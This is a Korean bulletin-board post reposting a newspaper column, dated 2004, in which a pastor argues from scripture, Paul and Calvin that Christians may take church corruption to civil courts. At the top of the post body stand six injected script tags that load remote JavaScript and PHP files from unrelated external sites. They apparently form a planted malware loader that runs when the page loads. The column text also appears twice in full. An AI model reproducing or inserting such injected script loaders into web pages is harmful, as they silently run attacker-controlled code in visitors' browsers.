칼럼 사회법정에 가서라도 교회비리 바로 잡아야 (박득훈 목사)
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작성자 by 관리자 / 작성일04-01-13 16:35 / 조회 5,439 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 사회법정에 가서라도 교회비리 바로 잡아야
박득훈(언덕교회 담임목사, 개혁연대 공동대표)
해마다 교회문제를 사회법정에 호소하는 경우가 늘어가고 있는 추세다. 담임목사의 재정비리나 성범죄에 대한 문제제기가 그 근원이다. 한편 잘잘못을 불문하고 담임목사에게 충성하려는 이들과 교회개혁을 사모하는 이들 사이의 갈등이 어느 선을 넘어서게 되면 교회재산의 소유권을 둘러싼 분쟁이 일어나 사회법정으로 넘어가게 된다. 분쟁과정에서도 교회건물 사용권을 놓고 법정시비가 벌어지고 그 와중에서 발생하는 폭행 혹은 명예훼손에 대하여 피차 고소하게 된다.
세상의 소금과 빛이 되어야 할 교회가 이런 문제를 들고 사회법정에 나간다는 그 자체가 부끄러운 일이 아닐 수 없다. 그래서 교회가 이 지경이 될 수밖에 없도록 원인제공을 한 담임목사보다도 최후수단으로 사회법정에 호소하게 된 이들이 오히려 더 비난을 받는 경우가 적지 않다. 이렇게 판단하는 데에 성경적 근거가 전혀 없어 보이는 것은 아니다.
성경은 사회법정으로 가는 것을 거부한다?
대표적인 것이 예수님의 산상수훈(마 5:38∼42)과 바울의 교훈(롬 12:14∼21, 고전 6:1∼8)이다. 예수님은 악한 자를 대적하지 말라며 오른편 뺨을 치는 자에게는 왼편도 돌려대며, 재판을 걸어 속옷을 빼앗아가려는 자에게 겉옷까지도 주며, 억지로 오 리를 가자고 하는 자에게 십 리를 같이 가주라고 요청하신다. 바울 역시 원수를 갚지 말고 하나님께 맡기며 선으로 악을 이기라고 권면한다. 고린도교회 교인들이 그들 가운데 생긴 문제를 교회 안에서 해결하려하지 않고 세상법정에 판결을 의뢰하는 것을 매우 강한 어조로 꾸짖으면서 재판을 거느니 차라리 억울한 일이나 사기를 당하고 말라고 권면한다.
실제로 교회사를 보면 이 말씀들을 액면 그대로 받아들여 소송 자체를 거부한 그리스도인이 없지 않다. 절대적 평화주의자들이 그들이다. 이들은 법정은 세상을 위해 준 것임으로 그리스도인과는 아무런 상관이 없다고 믿는다. 그리스도인의 유일한 법은 사랑이며 끝까지 회개하지 않는 자에게 부여하는 최고의 벌은 공동체에서 퇴출시키는 것이다. 이들의 단순한 성경해석과 순수한 동기는 마땅히 존중받아야 한다. 만약 이들이 오늘 한국교회에서 일어나고 있는 소송에 대하여 비판적 입장을 취한다면 존중해줄 필요가 있다. 그러나 그런 입장을 가지고 있지도 않으면서 단순히 비리를 감추려는 마음에서 소송을 거부하고 비판하는 이들은 결코 용납되어서는 안 된다.
사회법정으로 가는 것을 허용하는 신학적 근거
성경해석에 있어서 조심해야 할 점은 특정구절의 문자적 해석에 지나치게 의존하는 것이다. 성경 전체의 흐름 속에서 보면 그리스도인의 법적 호소에 대한 구체적이고 적극적인 권장을 찾아보기가 그리 쉽지 않은 것은 사실이다. 그러나 최후의 수단으로 법정에 호소할 수 있다는 결론을 유출해낼 수 있기에 충분한 근거들이 내포되어 있다. 우선 앞서 언급한 말씀들의 전후 문맥을 자세히 살펴보면 원수들로부터 어려운 일을 당했을 때 그리스도인들이 어떤 자세로 임해야하는 지, 즉 그리스도인이 갖추어야 할 인격과 성품을 설명해주고 있는 것이다. 원수에게 복수하고픈 인간의 원초적 본능에 절대로 굴복해서는 안되며 오히려 원수를 사랑하는 마음으로 모든 아픔과 손해를 받아드릴 자세를 갖춰야 한다는 것이다. 그러나 이것이 곧 그리스도인이 사회법정과 어떤 관계를 맺어야하는지를 결정적으로 규정해주고 있는 것은 아니다.
바울은 선으로 악을 이기라(롬 12:14∼21)는 말씀과 사랑은 율법의 완성이라는(롬 13:8∼10) 말씀 사이에 그 주제들과는 매우 상반되는 듯한 내용을 배열하고 있다. 즉 하나님이 세상관원들의 손에 칼을 쥐어 줌으로써 악을 행하는 자들에게 대신 벌을 주는 하나님의 사자로 삼았다는 점이다. 그러므로 그리스도인들도 양심을 따라 그들의 권위에 복종하고 귀하게 여겨야 한다(롬 13:1∼7). 교회 안에서 사회적 불의가 행해진다면 그리스도인들도 당연히 세상법정에 불려나가야 하고 관원들로부터 벌을 받아야 한다.
실제로 바울 자신이 세상법정에 호소한 일이 있었음을 기억해야 한다(행 25:10). 바울을 유대인들이 무고히 해치려하자 천부장이 그를 구출해내는 과정에서 로마인인 줄 알고 가이사랴에 있는 벨릭스 총독 앞에서 재판을 받게 했다. 예루살렘으로부터 온 대제사장과 장로들이 바울을 고소하였다. 벨릭스의 후임 총독인 베스도 앞에서 다시 재판을 받았다. 바울은 그 재판정에서 로마 법정에 가서 황제의 판결을 직접 받게 해달라고 소위 항소를 한 셈이었다. 대제사장과 장로들의 고소에 승복하지 않고 끝까지 자신의 무죄를 로마 법정에서 증명 받고자 했던 것이다.
그래서 칼빈은 그의 위대한 저서 「기독교강요」에서 원수와 관련된 예수님과 바울의 가르침에 대한 어거스틴의 해석을 지지한다. 첫째, 의롭고 경건한 사람은 원수들의 악의를 인내심을 가지고 품어낼 수 있어야 한다. 둘째, 예수님과 바울의 교훈은 내면에 있는 마음의 준비와 관련된 것이지 공적인 영역에서 일어나는 행동에 관한 것이 아니다. 그러므로 칼빈은 그리스도인이 원수에 대한 적개심이나 복수심을 극복하고 사랑의 마음을 잃지 않는 한 공익을 위해 최후수단으로 악행에 대한 처벌을 법정에 호소하는 것은 결코 잘못이 아님을 분명히 하고 있다. 바울이 고린도교회 교인들을 책망한 것도 그들이 세상법정에 호소한 자체 때문이 아니다. 그들이 형제로부터 마음고생이나 손해를 겪을 준비가 전혀 안되어 있고 너무 쉽게 복수심과 적개심에 불타 교회 안에서 해결하려는 노력을 전혀 기울이지 않은 채 성급하게 세상법정으로 나가곤 하였기 때문이다.
한국교회를 향하여
물론 한국교회 안에도 고린도교회 교인들 같은 이들이 전혀 없으란 법은 없을 것이다. 그러나 대부분의 경우 세상법정으로 나가는 이유는 교권주의자들로 구성된 교회법정이 비리를 행한 담임목사와 그 지지자들을 싸고돌고 있기 때문임을 잊어서는 안 된다. 이런 상황에선 할 수 없다. 그리스도인들은 슬픈 마음을 가지고 사회법정에 호소해서라도 교회의 불의와 비리를 바로 잡아야 한다. 사회법도 부족한데로 근본적인 면에서 하나님이 양심과 자연법을 통해 허락하신 법이기 때문이다. 이스라엘 역사를 통해 잘 드러난 것처럼 하나님은 자신의 명예가 잠시 땅에 떨어지는 한이 있더라도 교회가 심각하게 부패할 때 세상권력을 통해서 책망하고 심판하신다. 지금은 교회비리를 세상법정에 호소하는 이들을 비판할 때가 아니라, 오히려 교회비리를 덮고 넘어가려는 교회지도자들에게 강력히 항의하면서 한국교회의 회복을 위해 우리 모두 통절히 회개의 눈물을 흘려야 할 때다.
*뉴스앤조이(2004/01/08)
박득훈(언덕교회 담임목사, 개혁연대 공동대표)
해마다 교회문제를 사회법정에 호소하는 경우가 늘어가고 있는 추세다. 담임목사의 재정비리나 성범죄에 대한 문제제기가 그 근원이다. 한편 잘잘못을 불문하고 담임목사에게 충성하려는 이들과 교회개혁을 사모하는 이들 사이의 갈등이 어느 선을 넘어서게 되면 교회재산의 소유권을 둘러싼 분쟁이 일어나 사회법정으로 넘어가게 된다. 분쟁과정에서도 교회건물 사용권을 놓고 법정시비가 벌어지고 그 와중에서 발생하는 폭행 혹은 명예훼손에 대하여 피차 고소하게 된다.
세상의 소금과 빛이 되어야 할 교회가 이런 문제를 들고 사회법정에 나간다는 그 자체가 부끄러운 일이 아닐 수 없다. 그래서 교회가 이 지경이 될 수밖에 없도록 원인제공을 한 담임목사보다도 최후수단으로 사회법정에 호소하게 된 이들이 오히려 더 비난을 받는 경우가 적지 않다. 이렇게 판단하는 데에 성경적 근거가 전혀 없어 보이는 것은 아니다.
성경은 사회법정으로 가는 것을 거부한다?
대표적인 것이 예수님의 산상수훈(마 5:38∼42)과 바울의 교훈(롬 12:14∼21, 고전 6:1∼8)이다. 예수님은 악한 자를 대적하지 말라며 오른편 뺨을 치는 자에게는 왼편도 돌려대며, 재판을 걸어 속옷을 빼앗아가려는 자에게 겉옷까지도 주며, 억지로 오 리를 가자고 하는 자에게 십 리를 같이 가주라고 요청하신다. 바울 역시 원수를 갚지 말고 하나님께 맡기며 선으로 악을 이기라고 권면한다. 고린도교회 교인들이 그들 가운데 생긴 문제를 교회 안에서 해결하려하지 않고 세상법정에 판결을 의뢰하는 것을 매우 강한 어조로 꾸짖으면서 재판을 거느니 차라리 억울한 일이나 사기를 당하고 말라고 권면한다.
실제로 교회사를 보면 이 말씀들을 액면 그대로 받아들여 소송 자체를 거부한 그리스도인이 없지 않다. 절대적 평화주의자들이 그들이다. 이들은 법정은 세상을 위해 준 것임으로 그리스도인과는 아무런 상관이 없다고 믿는다. 그리스도인의 유일한 법은 사랑이며 끝까지 회개하지 않는 자에게 부여하는 최고의 벌은 공동체에서 퇴출시키는 것이다. 이들의 단순한 성경해석과 순수한 동기는 마땅히 존중받아야 한다. 만약 이들이 오늘 한국교회에서 일어나고 있는 소송에 대하여 비판적 입장을 취한다면 존중해줄 필요가 있다. 그러나 그런 입장을 가지고 있지도 않으면서 단순히 비리를 감추려는 마음에서 소송을 거부하고 비판하는 이들은 결코 용납되어서는 안 된다.
사회법정으로 가는 것을 허용하는 신학적 근거
성경해석에 있어서 조심해야 할 점은 특정구절의 문자적 해석에 지나치게 의존하는 것이다. 성경 전체의 흐름 속에서 보면 그리스도인의 법적 호소에 대한 구체적이고 적극적인 권장을 찾아보기가 그리 쉽지 않은 것은 사실이다. 그러나 최후의 수단으로 법정에 호소할 수 있다는 결론을 유출해낼 수 있기에 충분한 근거들이 내포되어 있다. 우선 앞서 언급한 말씀들의 전후 문맥을 자세히 살펴보면 원수들로부터 어려운 일을 당했을 때 그리스도인들이 어떤 자세로 임해야하는 지, 즉 그리스도인이 갖추어야 할 인격과 성품을 설명해주고 있는 것이다. 원수에게 복수하고픈 인간의 원초적 본능에 절대로 굴복해서는 안되며 오히려 원수를 사랑하는 마음으로 모든 아픔과 손해를 받아드릴 자세를 갖춰야 한다는 것이다. 그러나 이것이 곧 그리스도인이 사회법정과 어떤 관계를 맺어야하는지를 결정적으로 규정해주고 있는 것은 아니다.
바울은 선으로 악을 이기라(롬 12:14∼21)는 말씀과 사랑은 율법의 완성이라는(롬 13:8∼10) 말씀 사이에 그 주제들과는 매우 상반되는 듯한 내용을 배열하고 있다. 즉 하나님이 세상관원들의 손에 칼을 쥐어 줌으로써 악을 행하는 자들에게 대신 벌을 주는 하나님의 사자로 삼았다는 점이다. 그러므로 그리스도인들도 양심을 따라 그들의 권위에 복종하고 귀하게 여겨야 한다(롬 13:1∼7). 교회 안에서 사회적 불의가 행해진다면 그리스도인들도 당연히 세상법정에 불려나가야 하고 관원들로부터 벌을 받아야 한다.
실제로 바울 자신이 세상법정에 호소한 일이 있었음을 기억해야 한다(행 25:10). 바울을 유대인들이 무고히 해치려하자 천부장이 그를 구출해내는 과정에서 로마인인 줄 알고 가이사랴에 있는 벨릭스 총독 앞에서 재판을 받게 했다. 예루살렘으로부터 온 대제사장과 장로들이 바울을 고소하였다. 벨릭스의 후임 총독인 베스도 앞에서 다시 재판을 받았다. 바울은 그 재판정에서 로마 법정에 가서 황제의 판결을 직접 받게 해달라고 소위 항소를 한 셈이었다. 대제사장과 장로들의 고소에 승복하지 않고 끝까지 자신의 무죄를 로마 법정에서 증명 받고자 했던 것이다.
그래서 칼빈은 그의 위대한 저서 「기독교강요」에서 원수와 관련된 예수님과 바울의 가르침에 대한 어거스틴의 해석을 지지한다. 첫째, 의롭고 경건한 사람은 원수들의 악의를 인내심을 가지고 품어낼 수 있어야 한다. 둘째, 예수님과 바울의 교훈은 내면에 있는 마음의 준비와 관련된 것이지 공적인 영역에서 일어나는 행동에 관한 것이 아니다. 그러므로 칼빈은 그리스도인이 원수에 대한 적개심이나 복수심을 극복하고 사랑의 마음을 잃지 않는 한 공익을 위해 최후수단으로 악행에 대한 처벌을 법정에 호소하는 것은 결코 잘못이 아님을 분명히 하고 있다. 바울이 고린도교회 교인들을 책망한 것도 그들이 세상법정에 호소한 자체 때문이 아니다. 그들이 형제로부터 마음고생이나 손해를 겪을 준비가 전혀 안되어 있고 너무 쉽게 복수심과 적개심에 불타 교회 안에서 해결하려는 노력을 전혀 기울이지 않은 채 성급하게 세상법정으로 나가곤 하였기 때문이다.
한국교회를 향하여
물론 한국교회 안에도 고린도교회 교인들 같은 이들이 전혀 없으란 법은 없을 것이다. 그러나 대부분의 경우 세상법정으로 나가는 이유는 교권주의자들로 구성된 교회법정이 비리를 행한 담임목사와 그 지지자들을 싸고돌고 있기 때문임을 잊어서는 안 된다. 이런 상황에선 할 수 없다. 그리스도인들은 슬픈 마음을 가지고 사회법정에 호소해서라도 교회의 불의와 비리를 바로 잡아야 한다. 사회법도 부족한데로 근본적인 면에서 하나님이 양심과 자연법을 통해 허락하신 법이기 때문이다. 이스라엘 역사를 통해 잘 드러난 것처럼 하나님은 자신의 명예가 잠시 땅에 떨어지는 한이 있더라도 교회가 심각하게 부패할 때 세상권력을 통해서 책망하고 심판하신다. 지금은 교회비리를 세상법정에 호소하는 이들을 비판할 때가 아니라, 오히려 교회비리를 덮고 넘어가려는 교회지도자들에게 강력히 항의하면서 한국교회의 회복을 위해 우리 모두 통절히 회개의 눈물을 흘려야 할 때다.
*뉴스앤조이(2004/01/08)
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